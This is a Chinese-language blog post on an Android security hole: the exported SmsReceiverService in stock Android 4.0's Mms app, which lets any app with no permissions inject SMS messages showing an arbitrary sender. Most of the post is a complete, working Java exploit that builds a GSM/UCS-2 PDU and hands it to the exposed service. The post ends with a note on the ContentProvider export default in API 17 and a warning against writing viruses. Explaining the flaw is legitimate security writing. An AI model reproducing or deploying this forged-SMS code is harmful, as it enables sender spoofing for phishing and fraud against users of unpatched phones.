天天看點

android安全漏洞(八)僞造短信(利用原生android4.0漏洞)

導讀:本文利用android4.0的一個原生漏洞來僞造短信。無須聲明任何權限即可僞造發送方為任何号碼的短信給使用者。

android4.0釋出已經是很久很久很久很久以前的事情了,這個漏洞早就報了出來,之是以現在才寫這篇文章,就是覺得,該更新的基本已經都更新了,該打更新檔的基本都已經打了更新檔,是以現在差不多是時候了。

原生android4.0系統中,Mms.apk的manifest有這樣一段

Xml代碼  

android安全漏洞(八)僞造短信(利用原生android4.0漏洞)
<service android:name=".transaction.SmsReceiverService"  
                     android:exported="true" />  
           

android:exported="true",意味着SmsReceiverService這個Service暴露給了大家,也讓病毒有機可乘

在stackoverflow上面,有人早就給出了僞造短信的方案,我們在這裡就直接使用人家的代碼好了

http://stackoverflow.com/questions/12335642/create-pdu-for-android-that-works-with-smsmessage-createfrompdu-gsm-3gpp

其中UCS-2處理是我新加上去的

Java代碼

private static void createFakeSms(Context context, String sender,  
            String body) {  
        byte[] pdu = null;  
        byte[] scBytes = PhoneNumberUtils  
                .networkPortionToCalledPartyBCD("0000000000");  
        byte[] senderBytes = PhoneNumberUtils  
                .networkPortionToCalledPartyBCD(sender);  
        int lsmcs = scBytes.length;  
        // 時間處理,包括年月日時分秒以及時區和夏令時  
        byte[] dateBytes = new byte[7];  
        Calendar calendar = new GregorianCalendar();  
        dateBytes[0] = SmsUtil  
                .reverseByte((byte) (calendar.get(Calendar.YEAR)));  
        dateBytes[1] = SmsUtil  
                .reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));  
        dateBytes[2] = SmsUtil.reverseByte((byte) (calendar  
                .get(Calendar.DAY_OF_MONTH)));  
        dateBytes[3] = SmsUtil.reverseByte((byte) (calendar  
                .get(Calendar.HOUR_OF_DAY)));  
        dateBytes[4] = SmsUtil.reverseByte((byte) (calendar  
                .get(Calendar.MINUTE)));  
        dateBytes[5] = SmsUtil.reverseByte((byte) (calendar  
                .get(Calendar.SECOND)));  
        dateBytes[6] = SmsUtil  
                .reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar  
                        .get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));  
        try {  
            ByteArrayOutputStream bo = new ByteArrayOutputStream();  
            bo.write(lsmcs);// 短信服務中心長度  
            bo.write(scBytes);// 短信服務中心号碼  
            bo.write(0x04);  
            bo.write((byte) sender.length());// 發送方号碼長度  
            bo.write(senderBytes);// 發送方号碼  
            bo.write(0x00);// 協定标示,00為普通GSM,點對點方式  
            try {  
                String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";  
                Class<?> cReflectedNFCExtras = Class  
                        .forName(sReflectedClassName);  
                Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod(  
                        "stringToGsm7BitPacked", new Class[] { String.class });  
                stringToGsm7BitPacked.setAccessible(true);  
                byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null,  
                        body);  
      
                bo.write(0x00); // encoding: 0 for default 7bit  
                bo.write(dateBytes);  
                bo.write(bodybytes);  
            } catch (Exception e) {  
                Log.i(TAG, "sender:" + sender + "\nbody:" + body, e);  
                // 下面是UCS-2編碼的處理,中文短信就需要用此種方式  
                bo.write(0x08); // encoding: 8 for UCS-2  
                bo.write(dateBytes);  
                bo.write(SmsUtil.encodeUCS2(body, null));// 其中encodeUCS2是從系統中複制過來的,并不是我寫的  
                // 源碼具體位置在  
                // frameworks/base/telephony/java/com/android/internal/telephony/gsm/SmsMessage.java  
            }  
      
            pdu = bo.toByteArray();  
        } catch (IOException e) {  
            Log.e(TAG, "sender:" + sender + "\nbody:" + body, e);  
        }  
        // 上面的部分都是組織短信資料,下面是将資料傳遞給SmsReceiverService,讓它來幫我們發送。雖然我們的程式沒有發送短信的權限,但是人家有啊!  
        Intent intent = new Intent();  
        intent.setClassName("com.android.mms",  
                "com.android.mms.transaction.SmsReceiverService");  
        intent.setAction("android.provider.Telephony.SMS_RECEIVED");  
        intent.putExtra("pdus", new Object[] { pdu });  
        intent.putExtra("format", "3gpp");  
        context.startService(intent);  
    }  
      
    public static byte reverseByte(byte b) {  
        return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4);  
    }  
           

我們看看在SmsMessage.java中的getSubmitPdu處理user data的方式

Java代碼

// User Data (and length)  
    byte[] userData;  
    try {  
        if (encoding == ENCODING_7BIT) {  
            userData = GsmAlphabet.stringToGsm7BitPackedWithHeader(message, header,  
                    languageTable, languageShiftTable);  
        } else { //assume UCS-2  
            try {  
                userData = encodeUCS2(message, header);  
            } catch(UnsupportedEncodingException uex) {  
                Log.e(LOG_TAG,  
                        "Implausible UnsupportedEncodingException ",  
                        uex);  
                return null;  
            }  
        }  
    } catch (EncodeException ex) {  
        // Encoding to the 7-bit alphabet failed. Let's see if we can  
        // send it as a UCS-2 encoded message  
        try {  
            userData = encodeUCS2(message, header);  
            encoding = ENCODING_16BIT;  
        } catch(UnsupportedEncodingException uex) {  
            Log.e(LOG_TAG,  
                    "Implausible UnsupportedEncodingException ",  
                    uex);  
            return null;  
        }  
    }  
           

先看是不是7-bit編碼方式,如果不是,那麼就假設是UCS-2編碼,如果抛出EncodeException,那麼也嘗試UCS-2編碼

下面附上encodeUCS2代碼

Java代碼

/** 
     * Packs header and UCS-2 encoded message. Includes TP-UDL & TP-UDHL if 
     * necessary 
     *  
     * @return 
     * @throws UnsupportedEncodingException 
     */  
    public static byte[] encodeUCS2(String message, byte[] header)  
            throws UnsupportedEncodingException {  
        byte[] userData, textPart;  
        textPart = message.getBytes("utf-16be");  
      
        if (header != null) {  
            // Need 1 byte for UDHL  
            userData = new byte[header.length + textPart.length + 1];  
      
            userData[0] = (byte) header.length;  
            System.arraycopy(header, 0, userData, 1, header.length);  
            System.arraycopy(textPart, 0, userData, header.length + 1,  
                    textPart.length);  
        } else {  
            userData = textPart;  
        }  
        byte[] ret = new byte[userData.length + 1];  
        ret[0] = (byte) (userData.length & 0xff);  
        System.arraycopy(userData, 0, ret, 1, userData.length);  
        return ret;  
    }  
           

現在,我們就可以在原生android4.0上面幹壞事了,如果你在真機上面發現上面的代碼不起作用,那麼很有可能人家已經修複了漏洞,是以你也别總想着幹壞事。

不過……HTC G14上面的漏洞還是存在的,起碼前兩個月是這個樣子,沒關系,我已經換了手機……

android安全漏洞(八)僞造短信(利用原生android4.0漏洞)
android安全漏洞(八)僞造短信(利用原生android4.0漏洞)

另外值得一提是android:exported這個屬性

我們可以在android官方文檔中看到如下說明

http://developer.android.com/about/versions/jelly-bean.html#42-platform-tech

ContentProvider default configuration — Applications which target API level 17 will have “export” set to “false” by default for each ContentProvider, reducing default attack surface for applications.

這意味着什麼呢?

之前,你可以不用顯式設定export這個屬性,别人也可以調用你的ContentProvider,但是你的應用放到了Android4.2(API17)上面,那麼别人再調用你的ContentProvider的時候就會抛出異常,進而導緻應用崩潰

這是時候,我們就必須在manifest檔案中顯式給export指派為true

之前就遇到了這樣的問題,應用放在4.1上面沒有問題,放到4.2上就crash,調查了半天,才發現原因在這裡

看來關鍵的屬性還是顯式聲明的好,因為沒準哪一天,它的預設值就變了

下面是一些相關内容

GSM 03.38 from Wikipedia

請大家不要用root的手機随意下載下傳軟體,更不要以任何借口制造任何病毒!

轉貼請保留以下連結

本人blog位址

http://su1216.iteye.com/

http://blog.csdn.net/su1216/

繼續閱讀